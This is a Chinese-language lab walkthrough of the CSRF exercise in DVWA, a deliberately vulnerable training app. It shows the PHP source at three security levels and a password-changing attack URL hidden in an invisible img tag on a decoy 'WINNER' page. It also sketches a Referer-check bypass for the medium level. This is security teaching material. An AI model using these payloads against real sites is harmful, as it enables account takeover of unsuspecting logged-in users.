观察low级别代码:
<?php if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
这里服务器通过GET方式收到更改密码的请求后会验证pass_new和pass_conf两个参数是否一致,如果一致会执行修改密码操作
,这里没有任何防csrf的机制。
先用burp suite抓http的包观察url
可以看到url为:
http://用户的ip/DVWA-master/vulnerabilities/csrf/?password_new=输的新密码&password_conf=输的确认密码&Change=Change#
我们只需要把对应新密码的部分改成我们想要的即可,比如123456
构造链接:
http://用户的ip/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
所以只要用户在登录已知网站的同时执行这个url就会把密码改成我们想要的密码
一般来说会做一个web页面来隐藏我们的url,我的页面代码如下:
<html> <head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title> A simple csrf web</title>
<img src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change HTTP/1.1" border="0" style="display:none;"/> </head>
<p> WINNER</p>
</html>
大部分都是选择把构造的payload放在img标签里,注意里面可以用style="display:none;" 让我们的payload隐藏起来,
当用户跳转这个页面时就会执行我们构造的payload
我们重新用之前没有修改时的密码登录就会发现密码错误了,用新的密码就可以登陆
Medium CSRF
观察源码:
<?php if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>
和low相比多了一个:
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )
这个是匹配主机名字的,如果主机名与发起请求的名字一样的时候,就可以完成改密码的操作
那么我们可以构造这样的一个HTML 将文件名改为用户主机IP,放在网站根目录下
然后访问这个文件
logout返回登录页面使用之前的密码登录:登陆失败
用我们修改的新密码登录:
High
观察源码:
<?php if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} // Generate Anti-CSRF token
generateSessionToken(); ?>
可以看到,High级别代码加入了Anti-CSRF token机制,用户每次执行改密操作服务器都会返回一个随机的token,向服务器放松请求时需要提交token参数,服务器会优先检查token,只有token正确才会处理客户端请求。彻底杜绝了利CSRF漏洞修改密码。
好像除了爆破没有别的办法了...